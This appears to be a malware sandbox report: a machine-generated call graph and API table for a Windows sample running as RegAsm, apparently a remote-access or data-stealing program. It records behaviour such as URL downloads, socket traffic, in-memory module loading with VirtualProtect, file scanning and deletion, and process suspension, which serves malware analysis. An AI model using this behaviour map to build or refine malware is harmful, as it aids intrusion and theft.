54467 4511ab __alloca_probe_16 ___scrt_get_show_window_mode 54462->54467 54465 44ee5f 54463->54465 54464->54467 54471 44ae66 54465->54471 54466 45121c 54476 435e40 20 API calls _free 54466->54476 54467->54466 54469 4511f0 MultiByteToWideChar 54467->54469 54469->54466 54470 45120c GetStringTypeW 54469->54470 54470->54466 54472 43a7b7 _strftime 36 API calls 54471->54472 54473 44ae79 54472->54473 54477 44ac49 54473->54477 54476->54461 54478 44ac64 ___crtLCMapStringA 54477->54478 54479 44ac8a MultiByteToWideChar 54478->54479 54480 44acb4 54479->54480 54491 44ae3e 54479->54491 54483 446137 ___crtLCMapStringA 21 API calls 54480->54483 54487 44acd5 __alloca_probe_16 54480->54487 54481 434fcb _ValidateLocalCookies 5 API calls 54482 44ae51 54481->54482 54482->54456 54483->54487 54484 44ad1e MultiByteToWideChar 54485 44ad37 54484->54485 54486 44ad8a 54484->54486 54504 448bb3 54485->54504 54513 435e40 20 API calls _free 54486->54513 54487->54484 54487->54486 54491->54481 54492 44ad61 54492->54486 54494 448bb3 _strftime 11 API calls 54492->54494 54493 44ad99 54496 446137 ___crtLCMapStringA 21 API calls 54493->54496 54499 44adba __alloca_probe_16 54493->54499 54494->54486 54495 44ae2f 54512 435e40 20 API calls _free 54495->54512 54496->54499 54497 448bb3 _strftime 11 API calls 54500 44ae0e 54497->54500 54499->54495 54499->54497 54500->54495 54501 44ae1d WideCharToMultiByte 54500->54501 54501->54495 54502 44ae5d 54501->54502 54514 435e40 20 API calls _free 54502->54514 54505 4484ca _free 5 API calls 54504->54505 54506 448bda 54505->54506 54508 448be3 54506->54508 54515 448c3b 10 API calls 3 library calls 54506->54515 54510 434fcb _ValidateLocalCookies 5 API calls 54508->54510 54509 448c23 LCMapStringW 54509->54508 54511 448c35 54510->54511 54511->54486 54511->54492 54511->54493 54512->54486 54513->54491 54514->54486 54515->54509 54517 41cb8f LoadLibraryA GetProcAddress 54516->54517 54518 41cb7f GetModuleHandleA GetProcAddress 54516->54518 54519 41cbb8 44 API calls 54517->54519 54520 41cba8 LoadLibraryA GetProcAddress 54517->54520 54518->54517 54519->54040 54520->54519 54835 41b4a8 FindResourceA 54521->54835 54524 43bd51 new 21 API calls 54525 40f3ed ctype 54524->54525 54526 4020b7 28 API calls 54525->54526 54527 40f408 54526->54527 54528 401fe2 28 API calls 54527->54528 54529 40f413 54528->54529 54530 401fd8 11 API calls 54529->54530 54531 40f41c 54530->54531 54532 43bd51 new 21 API calls 54531->54532 54533 40f42d ctype 54532->54533 54838 406dd8 54533->54838 54535 40f460 54535->54042 54537 40fb23 54536->54537 54539 40fb2a 54536->54539 54841 402163 11 API calls 54537->54841 54539->54050 54842 401fab 54540->54842 54731->54058 54732->54065 54733->54070 54736 4020df 11 API calls 54735->54736 54737 406c2a 54736->54737 54738 4032a0 28 API calls 54737->54738 54739 406c47 54738->54739 54739->54091 54741 40eba4 54740->54741 54742 413573 RegQueryValueExA RegCloseKey 54740->54742 54741->54088 54741->54105 54742->54741 54743->54094 54833->54115 54836 41b4c5 LoadResource LockResource SizeofResource 54835->54836 54837 40f3de 54835->54837 54836->54837 54837->54524 54839 4020b7 28 API calls 54838->54839 54840 406dec 54839->54840 54840->54535 54841->54539 55349 4269e6 55350 4269fb 55349->55350 55356 426a8d 55349->55356 55351 426a48 55350->55351 55352 426b44 55350->55352 55353 426abd 55350->55353 55354 426b1d 55350->55354 55350->55356 55360 426af2 55350->55360 55362 426a7d 55350->55362 55377 424edd 49 API calls ctype 55350->55377 55351->55356 55351->55362 55378 41fb6c 52 API calls 55351->55378 55352->55356 55382 426155 28 API calls 55352->55382 55353->55356 55353->55360 55380 41fb6c 52 API calls 55353->55380 55354->55352 55354->55356 55365 425ae1 55354->55365 55360->55354 55381 4256f0 21 API calls 55360->55381 55362->55353 55362->55356 55379 424edd 49 API calls ctype 55362->55379 55366 425b00 ___scrt_get_show_window_mode 55365->55366 55368 425b0f 55366->55368 55372 425b34 55366->55372 55383 41ebbb 21 API calls 55366->55383 55368->55372 55376 425b14 55368->55376 55384 4205d8 46 API calls 55368->55384 55371 425b1d 55371->55372 55387 424d05 21 API calls 2 library calls 55371->55387 55372->55352 55374 425bb7 55374->55372 55385 432ec4 21 API calls new 55374->55385 55376->55371 55376->55372 55386 41da5f 49 API calls 55376->55386 55377->55351 55378->55351 55379->55353 55380->55353 55381->55354 55382->55356 55383->55368 55384->55374 55385->55376 55386->55371 55387->55372 55388 415d06 55403 41b380 55388->55403 55390 415d0f 55391 4020f6 28 API calls 55390->55391 55392 415d1e 55391->55392 55393 404aa1 61 API calls 55392->55393 55394 415d2a 55393->55394 55395 417089 55394->55395 55396 401fd8 11 API calls 55394->55396 55397 401e8d 11 API calls 55395->55397 55396->55395 55398 417092 55397->55398 55399 401fd8 11 API calls 55398->55399 55400 41709e 55399->55400 55401 401fd8 11 API calls 55400->55401 55402 4170aa 55401->55402 55404 4020df 11 API calls 55403->55404 55405 41b38e 55404->55405 55406 43bd51 new 21 API calls 55405->55406 55407 41b39e InternetOpenW InternetOpenUrlW 55406->55407 55408 41b3c5 InternetReadFile 55407->55408 55409 41b3e8 55408->55409 55409->55408 55410 41b415 InternetCloseHandle InternetCloseHandle 55409->55410 55411 4020b7 28 API calls 55409->55411 55413 401fd8 11 API calls 55409->55413 55412 41b427 55410->55412 55411->55409 55412->55390 55413->55409 55414 1000c7a7 55415 1000c7be 55414->55415 55421 1000c82c 55414->55421 55415->55421 55424 1000c7e6 GetModuleHandleA 55415->55424 55416 1000c872 55417 1000c835 GetModuleHandleA 55419 1000c83f 55417->55419 55419->55419 55419->55421 55421->55416 55421->55417 55425 1000c7ef 55424->55425 55430 1000c82c 55424->55430 55434 1000c803 55425->55434 55427 1000c872 55428 1000c835 GetModuleHandleA 55429 1000c83f 55428->55429 55429->55429 55429->55430 55430->55427 55430->55428 55435 1000c809 55434->55435 55436 1000c82c 55435->55436 55437 1000c80d VirtualProtect 55435->55437 55439 1000c872 55436->55439 55440 1000c835 GetModuleHandleA 55436->55440 55437->55436 55438 1000c81c VirtualProtect 55437->55438 55438->55436 55441 1000c83f 55440->55441 55441->55436 55442 426c4b 55447 426cc8 send 55442->55447 55448 434875 55453 434b47 SetUnhandledExceptionFilter 55448->55453 55450 43487a pre_c_initialization 55454 44554b 20 API calls 2 library calls 55450->55454 55452 434885 55453->55450 55454->55452 55455 44831e 55463 448710 55455->55463 55458 448332 55460 44833a 55461 448347 55460->55461 55471 44834a 11 API calls 55460->55471 55464 4484ca _free 5 API calls 55463->55464 55465 448737 55464->55465 55466 448740 55465->55466 55467 44874f TlsAlloc 55465->55467 55468 434fcb _ValidateLocalCookies 5 API calls 55466->55468 55467->55466 55469 448328 55468->55469 55469->55458 55470 448299 20 API calls 2 library calls 55469->55470 55470->55460 55471->55458 55472 43be58 55474 43be64 _swprintf ___DestructExceptionObject 55472->55474 55473 43be72 55488 4405dd 20 API calls _free 55473->55488 55474->55473 55476 43be9c 55474->55476 55483 445888 EnterCriticalSection 55476->55483 55478 43be77 _strftime ___DestructExceptionObject 55479 43bea7 55484 43bf48 55479->55484 55483->55479 55486 43bf56 55484->55486 55485 43beb2 55489 43becf LeaveCriticalSection std::_Lockit::~_Lockit 55485->55489 55486->55485 55490 44976c 37 API calls 2 library calls 55486->55490 55488->55478 55489->55478 55490->55486 55491 100020db 55494 100020e7 ___scrt_is_nonwritable_in_current_image 55491->55494 55492 100020f6 55493 10002110 dllmain_raw 55493->55492 55495 1000212a 55493->55495 55494->55492 55494->55493 55497 1000210b 55494->55497 55504 10001eec 55495->55504 55497->55492 55498 10002177 55497->55498 55501 10001eec 29 API calls 55497->55501 55498->55492 55499 10001eec 29 API calls 55498->55499 55500 1000218a 55499->55500 55500->55492 55502 10002193 dllmain_raw 55500->55502 55503 1000216d dllmain_raw 55501->55503 55502->55492 55503->55498 55505 10001ef7 55504->55505 55506 10001f2a dllmain_crt_process_detach 55504->55506 55508 10001f1c dllmain_crt_process_attach 55505->55508 55509 10001efc 55505->55509 55507 10001f06 55506->55507 55507->55497 55508->55507 55510 10001f01 55509->55510 55511 10001f12 55509->55511 55510->55507 55514 1000240b 25 API calls 55510->55514 55515 100023ec 27 API calls 55511->55515 55514->55507 55515->55507 55516 41dfbd 55517 41dfd2 ctype ___scrt_get_show_window_mode 55516->55517 55518 41e1d5 55517->55518 55535 432ec4 21 API calls new 55517->55535 55524 41e189 55518->55524 55530 41db62 DeleteCriticalSection EnterCriticalSection LeaveCriticalSection ___scrt_get_show_window_mode 55518->55530 55521 41e1e6 55521->55524 55531 432ec4 21 API calls new 55521->55531 55523 41e182 ___scrt_get_show_window_mode 55523->55524 55536 432ec4 21 API calls new 55523->55536 55526 41e21f ___scrt_get_show_window_mode 55526->55524 55532 43354a 55526->55532 55528 41e1af ___scrt_get_show_window_mode 55528->55524 55537 432ec4 21 API calls new 55528->55537 55530->55521 55531->55526 55538 433469 55532->55538 55534 433552 55534->55524 55535->55523 55536->55528 55537->55518 55539 433482 55538->55539 55543 433478 55538->55543 55539->55543 55544 432ec4 21 API calls new 55539->55544 55541 4334a3 55541->55543 55545 433837 CryptAcquireContextA 55541->55545 55543->55534 55544->55541 55546 433853 55545->55546 55547 433858 CryptGenRandom 55545->55547 55546->55543 55547->55546 55548 43386d CryptReleaseContext 55547->55548 55548->55546 55549 40165e 55550 401666 55549->55550 55551 401669 55549->55551 55552 4016a8 55551->55552 55554 401696 55551->55554 55553 4344ea new 22 API calls 55552->55553 55555 40169c 55553->55555 55556 4344ea new 22 API calls 55554->55556 55556->55555 55557 426bdc 55563 426cb1 recv 55557->55563 55564 41299f 55565 4129b1 55564->55565 55566 4041a2 28 API calls 55565->55566 55567 4129c4 55566->55567 55568 4020f6 28 API calls 55567->55568 55569 4129d3 55568->55569 55570 4020f6 28 API calls 55569->55570 55571 4129e2 55570->55571 55572 41be1b 28 API calls 55571->55572 55574 4129eb 55572->55574 55573 412a93 55576 401e8d 11 API calls 55573->55576 55574->55573 55575 401e65 22 API calls 55574->55575 55577 412a02 55575->55577 55578 412a9c 55576->55578 55580 4020f6 28 API calls 55577->55580 55579 401fd8 11 API calls 55578->55579 55581 412aa5 55579->55581 55582 412a0d 55580->55582 55583 401fd8 11 API calls 55581->55583 55584 401e65 22 API calls 55582->55584 55585 412aad 55583->55585 55586 412a18 55584->55586 55587 4020f6 28 API calls 55586->55587 55588 412a23 55587->55588 55589 401e65 22 API calls 55588->55589 55590 412a2e 55589->55590 55591 4020f6 28 API calls 55590->55591 55592 412a39 55591->55592 55593 401e65 22 API calls 55592->55593 55594 412a44 55593->55594 55595 4020f6 28 API calls 55594->55595 55596 412a4f 55595->55596 55597 401e65 22 API calls 55596->55597 55598 412a5a 55597->55598 55599 4020f6 28 API calls 55598->55599 55600 412a65 55599->55600 55601 401e65 22 API calls 55600->55601 55602 412a73 55601->55602 55603 4020f6 28 API calls 55602->55603 55604 412a7e 55603->55604 55608 412ab4 GetModuleFileNameW 55604->55608 55607 404e26 99 API calls 55607->55573 55609 4020df 11 API calls 55608->55609 55610 412adf 55609->55610 55611 4020df 11 API calls 55610->55611 55612 412aeb 55611->55612 55613 4020df 11 API calls 55612->55613 55635 412af7 55613->55635 55614 41b978 43 API calls 55614->55635 55615 40d9e8 32 API calls 55615->55635 55616 401fd8 11 API calls 55616->55635 55617 40417e 28 API calls 55617->55635 55618 4042fc 84 API calls 55618->55635 55619 40431d 28 API calls 55619->55635 55620 412c1d Sleep 55620->55635 55621 403014 28 API calls 55621->55635 55622 418568 31 API calls 55622->55635 55623 412cbf Sleep 55623->55635 55624 401f09 11 API calls 55624->55635 55625 412d61 Sleep 55625->55635 55626 412dc4 DeleteFileW 55626->55635 55627 41c485 32 API calls 55627->55635 55628 412dfb DeleteFileW 55628->55635 55629 412e4d Sleep 55629->55635 55630 412e37 DeleteFileW 55630->55635 55631 412ec6 55632 401f09 11 API calls 55631->55632 55633 412ed2 55632->55633 55634 401f09 11 API calls 55633->55634 55636 412ede 55634->55636 55635->55614 55635->55615 55635->55616 55635->55617 55635->55618 55635->55619 55635->55620 55635->55621 55635->55622 55635->55623 55635->55624 55635->55625 55635->55626 55635->55627 55635->55628 55635->55629 55635->55631 55639 412e92 Sleep 55635->55639 55642 412e26 55635->55642 55637 401f09 11 API calls 55636->55637 55638 412eea 55637->55638 55641 40b904 28 API calls 55638->55641 55640 401f09 11 API calls 55639->55640 55640->55642 55643 412efd 55641->55643 55642->55630 55642->55635 55645 401f09 11 API calls 55642->55645 55648 412ec4 55642->55648 55644 4020f6 28 API calls 55643->55644 55646 412f1d 55644->55646 55645->55642 55755 41322d 55646->55755 55648->55638 55650 401f09 11 API calls 55651 412f34 55650->55651 55652 412f54 55651->55652 55653 4130a8 55651->55653 55655 41bd1e 28 API calls 55652->55655 55654 41bd1e 28 API calls 55653->55654 55656 4130b1 55654->55656 55657 412f60 55655->55657 55658 402f31 28 API calls 55656->55658 55659 41bb8e 28 API calls 55657->55659 55660 4130e8 55658->55660 55661 412f7a 55659->55661 55662 402f10 28 API calls 55660->55662 55663 402f31 28 API calls 55661->55663 55665 4130f7 55662->55665 55664 412faa 55663->55664 55667 402f10 28 API calls 55664->55667 55666 402f10 28 API calls 55665->55666 55668 413103 55666->55668 55669 412fb9 55667->55669 55670 402f10 28 API calls 55668->55670 55671 402f10 28 API calls 55669->55671 55672 413112 55670->55672 55673 412fc8 55671->55673 55674 402f10 28 API calls 55672->55674 55675 402f10 28 API calls 55673->55675 55676 413121 55674->55676 55677 412fd7 55675->55677 55678 402f10 28 API calls 55676->55678 55679 402f10 28 API calls 55677->55679 55680 413130 55678->55680 55681 412fe6 55679->55681 55682 402f10 28 API calls 55680->55682 55683 402f10 28 API calls 55681->55683 55684 41313f 55682->55684 55685 412ff2 55683->55685 55686 402ea1 28 API calls 55684->55686 55687 402f10 28 API calls 55685->55687 55688 413149 55686->55688 55689 412ffe 55687->55689 55690 404aa1 61 API calls 55688->55690 55691 402ea1 28 API calls 55689->55691 55692 413156 55690->55692 55693 41300d 55691->55693 55694 401fd8 11 API calls 55692->55694 55695 402f10 28 API calls 55693->55695 55697 413162 55694->55697 55696 413019 55695->55696 55699 402ea1 28 API calls 55696->55699 55698 401fd8 11 API calls 55697->55698 55700 41316e 55698->55700 55701 413023 55699->55701 55702 401fd8 11 API calls 55700->55702 55703 404aa1 61 API calls 55701->55703 55704 41317a 55702->55704 55705 413030 55703->55705 55706 401fd8 11 API calls 55704->55706 55707 401fd8 11 API calls 55705->55707 55708 413186 55706->55708 55709 413039 55707->55709 55710 401fd8 11 API calls 55708->55710 55711 401fd8 11 API calls 55709->55711 55712 41318f 55710->55712 55713 413042 55711->55713 55714 401fd8 11 API calls 55712->55714 55715 401fd8 11 API calls 55713->55715 55716 413198 55714->55716 55717 41304b 55715->55717 55718 401fd8 11 API calls 55716->55718 55719 401fd8 11 API calls 55717->55719 55720 41309c 55718->55720 55721 413054 55719->55721 55723 401fd8 11 API calls 55720->55723 55722 401fd8 11 API calls 55721->55722 55724 413060 55722->55724 55725 4131aa 55723->55725 55726 401fd8 11 API calls 55724->55726 55728 401f09 11 API calls 55725->55728 55727 41306c 55726->55727 55730 401fd8 11 API calls 55727->55730 55729 4131b6 55728->55729 55731 401fd8 11 API calls 55729->55731 55732 413078 55730->55732 55733 4131c2 55731->55733 55734 401fd8 11 API calls 55732->55734 55735 401fd8 11 API calls 55733->55735 55736 413084 55734->55736 55737 4131ce 55735->55737 55738 401fd8 11 API calls 55736->55738 55739 401fd8 11 API calls 55737->55739 55740 413090 55738->55740 55741 4131da 55739->55741 55742 401fd8 11 API calls 55740->55742 55743 401fd8 11 API calls 55741->55743 55742->55720 55744 4131e6 55743->55744 55745 401fd8 11 API calls 55744->55745 55746 4131f2 55745->55746 55747 401fd8 11 API calls 55746->55747 55748 4131fe 55747->55748 55749 401fd8 11 API calls 55748->55749 55750 41320a 55749->55750 55751 401fd8 11 API calls 55750->55751 55752 413216 55751->55752 55753 401fd8 11 API calls 55752->55753 55754 412a83 55753->55754 55754->55607 55757 41323c 55755->55757 55765 41326b 55755->55765 55756 41327a 55758 40417e 28 API calls 55756->55758 55771 411cf2 55757->55771 55760 413286 55758->55760 55762 401fd8 11 API calls 55760->55762 55764 412f28 55762->55764 55764->55650 55765->55756 55767 10001c5b 55765->55767 55768 10001c6b ___scrt_fastfail 55767->55768 55775 100012ee 55768->55775 55770 10001c87 55770->55756 55817 411cfe 55771->55817 55774 411f67 22 API calls new 55774->55765 55776 10001324 ___scrt_fastfail 55775->55776 55777 100013b7 GetEnvironmentVariableW 55776->55777 55801 100010f1 55777->55801 55780 100010f1 51 API calls 55781 10001465 55780->55781 55782 100010f1 51 API calls 55781->55782 55783 10001479 55782->55783 55784 100010f1 51 API calls 55783->55784 55785 1000148d 55784->55785 55786 100010f1 51 API calls 55785->55786 55787 100014a1 55786->55787 55788 100010f1 51 API calls 55787->55788 55789 100014b5 lstrlenW 55788->55789 55790 100014d2 55789->55790 55791 100014d9 lstrlenW 55789->55791 55790->55770 55792 100010f1 51 API calls 55791->55792 55793 10001501 lstrlenW lstrcatW 55792->55793 55794 100010f1 51 API calls 55793->55794 55795 10001539 lstrlenW lstrcatW 55794->55795 55796 100010f1 51 API calls 55795->55796 55797 1000156b lstrlenW lstrcatW 55796->55797 55798 100010f1 51 API calls 55797->55798 55799 1000159d lstrlenW lstrcatW 55798->55799 55800 100010f1 51 API calls 55799->55800 55800->55790 55802 10001118 ___scrt_fastfail 55801->55802 55803 10001129 lstrlenW 55802->55803 55814 10002c40 55803->55814 55806 10001177 lstrlenW FindFirstFileW 55808 100011a0 55806->55808 55809 100011e1 55806->55809 55807 10001168 lstrlenW 55807->55806 55810 100011c7 FindNextFileW 55808->55810 55811 100011aa 55808->55811 55809->55780 55810->55808 55813 100011da FindClose 55810->55813 55811->55810 55816 10001000 51 API calls ___scrt_fastfail 55811->55816 55813->55809 55815 10001148 lstrcatW lstrlenW 55814->55815 55815->55806 55815->55807 55816->55811 55852 41179c 55817->55852 55819 411d1c 55820 411d32 SetLastError 55819->55820 55821 41179c SetLastError 55819->55821 55848 411cfa 55819->55848 55820->55848 55822 411d4f 55821->55822 55822->55820 55824 411d71 GetNativeSystemInfo 55822->55824 55822->55848 55825 411db7 55824->55825 55836 411dc4 SetLastError 55825->55836 55855 411ca3 VirtualAlloc 55825->55855 55828 411de7 55829 411e0c GetProcessHeap HeapAlloc 55828->55829 55881 411ca3 VirtualAlloc 55828->55881 55831 411e23 55829->55831 55832 411e35 55829->55832 55882 411cba VirtualFree 55831->55882 55835 41179c SetLastError 55832->55835 55833 411dff 55833->55829 55833->55836 55837 411e7e 55835->55837 55836->55848 55838 411f30 55837->55838 55856 411ca3 VirtualAlloc 55837->55856 55883 412077 GetProcessHeap HeapFree 55838->55883 55841 411e97 ctype 55857 4117af 55841->55857 55843 411ec3 55843->55838 55861 411b5f 55843->55861 55847 411efb 55847->55838 55847->55848 55877 1000220c 55847->55877 55848->55774 55849 411f21 55849->55848 55850 411f25 SetLastError 55849->55850 55850->55838 55853 4117a0 SetLastError 55852->55853 55854 4117ab 55852->55854 55853->55819 55854->55819 55855->55828 55856->55841 55858 411885 55857->55858 55860 4117db ctype ___scrt_get_show_window_mode 55857->55860 55858->55843 55859 41179c SetLastError 55859->55860 55860->55858 55860->55859 55862 411b80 IsBadReadPtr 55861->55862 55869 411c6a 55861->55869 55866 411b9a 55862->55866 55862->55869 55863 411c82 SetLastError 55863->55869 55866->55863 55867 411c6c SetLastError 55866->55867 55868 411c4f IsBadReadPtr 55866->55868 55866->55869 55884 440f0d 22 API calls 4 library calls 55866->55884 55867->55869 55868->55866 55868->55869 55869->55838 55871 41194f 55869->55871 55875 411975 55871->55875 55872 411a5e 55873 4118b2 VirtualProtect 55872->55873 55874 411a70 55873->55874 55874->55847 55875->55872 55875->55874 55885 4118b2 55875->55885 55878 10002215 55877->55878 55879 1000221a dllmain_dispatch 55877->55879 55889 100022b1 GetSystemTimeAsFileTime GetCurrentThreadId GetCurrentProcessId QueryPerformanceCounter ___get_entropy 55878->55889 55879->55849 55881->55833 55882->55836 55883->55848 55884->55866 55886 4118c3 55885->55886 55887 4118bb 55885->55887 55886->55887 55888 411936 VirtualProtect 55886->55888 55887->55875 55888->55887 55889->55879 55890 10001f3f 55891 10001f4b ___scrt_is_nonwritable_in_current_image 55890->55891 55908 1000247c 55891->55908 55893 10001f57 ___scrt_is_nonwritable_in_current_image 55894 10001f52 55894->55893 55895 10002041 55894->55895 55896 10001f7c 55894->55896 55924 10002639 IsProcessorFeaturePresent IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter ___scrt_fastfail 55895->55924 55919 100023de IsProcessorFeaturePresent IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter 55896->55919 55899 10002048 55900 10001f8b __RTC_Initialize 55900->55893 55920 100022fc RtlInitializeSListHead 55900->55920 55902 10001f99 ___scrt_initialize_default_local_stdio_options 55921 100046c5 5 API calls _ValidateLocalCookies 55902->55921 55904 10001fad 55904->55893 55922 100023b3 IsProcessorFeaturePresent ___isa_available_init ___scrt_release_startup_lock 55904->55922 55906 10001fb8 55906->55893 55923 10004669 5 API calls _ValidateLocalCookies 55906->55923 55909 10002485 55908->55909 55925 10002933 IsProcessorFeaturePresent 55909->55925 55911 10002491 55926 100034ea 55911->55926 55913 10002496 55918 1000249a 55913->55918 55935 100053c8 55913->55935 55916 100024b1 55916->55894 55918->55894 55919->55900 55920->55902 55921->55904 55922->55906 55923->55893 55924->55899 55925->55911 55927 100034ef ___vcrt_initialize_winapi_thunks 55926->55927 55939 10003936 6 API calls 2 library calls 55927->55939 55929 100034f9 55930 100034fd 55929->55930 55940 100038e8 55929->55940 55930->55913 55932 10003505 55933 10003510 55932->55933 55948 10003972 RtlDeleteCriticalSection 55932->55948 55933->55913 55967 10007457 55935->55967 55938 10003529 7 API calls 3 library calls 55938->55918 55939->55929 55949 10003af1 55940->55949 55944 1000390b 55945 10003918 55944->55945 55955 1000391b 5 API calls ___vcrt_FlsFree 55944->55955 55945->55932 55947 100038fd 55947->55932 55948->55930 55956 10003a82 55949->55956 55951 10003b0b 55952 10003b24 TlsAlloc 55951->55952 55953 100038f2 55951->55953 55953->55947 55954 10003ba2 5 API calls try_get_function 55953->55954 55954->55944 55955->55947 55957 10003aaa 55956->55957 55959 10003aa6 __crt_fast_encode_pointer 55956->55959 55957->55959 55960 100039be 55957->55960 55959->55951 55962 100039cd try_get_first_available_module 55960->55962 55961 10003a77 55961->55959 55962->55961 55963 100039ea LoadLibraryExW 55962->55963 55965 10003a60 FreeLibrary 55962->55965 55966 10003a38 LoadLibraryExW 55962->55966 55963->55962 55964 10003a05 GetLastError 55963->55964 55964->55962 55965->55962 55966->55962 55968 10007470 55967->55968 55969 10002ada _ValidateLocalCookies 5 API calls 55968->55969 55970 100024a3 55969->55970 55970->55916 55970->55938 55971 10005bff 55979 10005d5c 55971->55979 55974 10005c13 55976 10005c1b 55977 10005c28 55976->55977 55987 10005c2b 10 API calls 55976->55987 55980 10005c45 _abort 4 API calls 55979->55980 55981 10005d83 55980->55981 55982 10005d9b TlsAlloc 55981->55982 55983 10005d8c 55981->55983 55982->55983 55984 10002ada _ValidateLocalCookies 5 API calls 55983->55984 55985 10005c09 55984->55985 55985->55974 55986 10005b7a 19 API calls 2 library calls 55985->55986 55986->55976 55987->55974

                      Executed Functions

                      Function 0041CB50 Relevance: 148.9, APIs: 52, Strings: 33, Instructions: 176libraryloaderCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      APIs
                      • LoadLibraryA.KERNEL32(Psapi), ref: 0041CB65
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CB6E
                      • GetModuleHandleA.KERNEL32(Kernel32,GetProcessImageFileNameW,?,?,?,?,0040E9E1), ref: 0041CB85
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CB88
                      • LoadLibraryA.KERNEL32(shcore), ref: 0041CB9A
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CB9D
                      • LoadLibraryA.KERNEL32(user32), ref: 0041CBAE
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBB1
                      • LoadLibraryA.KERNEL32(ntdll), ref: 0041CBC3
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBC6
                      • LoadLibraryA.KERNEL32(kernel32), ref: 0041CBD2
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBD5
                      • GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,?,?,0040E9E1), ref: 0041CBE6
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBE9
                      • GetModuleHandleA.KERNEL32(kernel32,GetComputerNameExW,?,?,?,?,0040E9E1), ref: 0041CBFA
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBFD
                      • LoadLibraryA.KERNEL32(Shell32), ref: 0041CC0E
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC11
                      • GetModuleHandleA.KERNEL32(kernel32,SetProcessDEPPolicy,?,?,?,?,0040E9E1), ref: 0041CC22
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC25
                      • GetModuleHandleA.KERNEL32(user32,EnumDisplayDevicesW,?,?,?,?,0040E9E1), ref: 0041CC36
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC39
                      • GetModuleHandleA.KERNEL32(user32,EnumDisplayMonitors,?,?,?,?,0040E9E1), ref: 0041CC4A
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC4D
                      • GetModuleHandleA.KERNEL32(user32,GetMonitorInfoW,?,?,?,?,0040E9E1), ref: 0041CC5E
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC61
                      • GetModuleHandleA.KERNEL32(kernel32,GetSystemTimes,?,?,?,?,0040E9E1), ref: 0041CC72
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC75
                      • LoadLibraryA.KERNEL32(Shlwapi), ref: 0041CC83
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC86
                      • LoadLibraryA.KERNEL32(kernel32), ref: 0041CC97
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC9A
                      • GetModuleHandleA.KERNEL32(ntdll,NtSuspendProcess,?,?,?,?,0040E9E1), ref: 0041CCA7
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CCAA
                      • GetModuleHandleA.KERNEL32(ntdll,NtResumeProcess,?,?,?,?,0040E9E1), ref: 0041CCB7
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CCBA
                      • LoadLibraryA.KERNEL32(Iphlpapi), ref: 0041CCCC
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CCCF
                      • LoadLibraryA.KERNEL32(Iphlpapi), ref: 0041CCDC
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CCDF
                      • GetModuleHandleA.KERNEL32(ntdll,NtQueryInformationProcess,?,?,?,?,0040E9E1), ref: 0041CCF0
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CCF3
                      • GetModuleHandleA.KERNEL32(kernel32,GetFinalPathNameByHandleW,?,?,?,?,0040E9E1), ref: 0041CD04
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CD07
                      • LoadLibraryA.KERNEL32(Rstrtmgr), ref: 0041CD19
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CD1C
                      • LoadLibraryA.KERNEL32(Rstrtmgr), ref: 0041CD29
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CD2C
                      • LoadLibraryA.KERNEL32(Rstrtmgr), ref: 0041CD39
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CD3C
                      • LoadLibraryA.KERNEL32(Rstrtmgr), ref: 0041CD49
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CD4C
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: AddressProc$LibraryLoad$HandleModule
                      • String ID: EnumDisplayDevicesW$EnumDisplayMonitors$GetComputerNameExW$GetConsoleWindow$GetExtendedTcpTable$GetExtendedUdpTable$GetFinalPathNameByHandleW$GetMonitorInfoW$GetProcessImageFileNameW$GetSystemTimes$GlobalMemoryStatusEx$Iphlpapi$IsUserAnAdmin$IsWow64Process$Kernel32$NtQueryInformationProcess$NtResumeProcess$NtSuspendProcess$NtUnmapViewOfSection$Psapi$RmEndSession$RmGetList$RmRegisterResources$RmStartSession$Rstrtmgr$SetProcessDEPPolicy$SetProcessDpiAwareness$Shell32$Shlwapi$kernel32$ntdll$shcore$user32
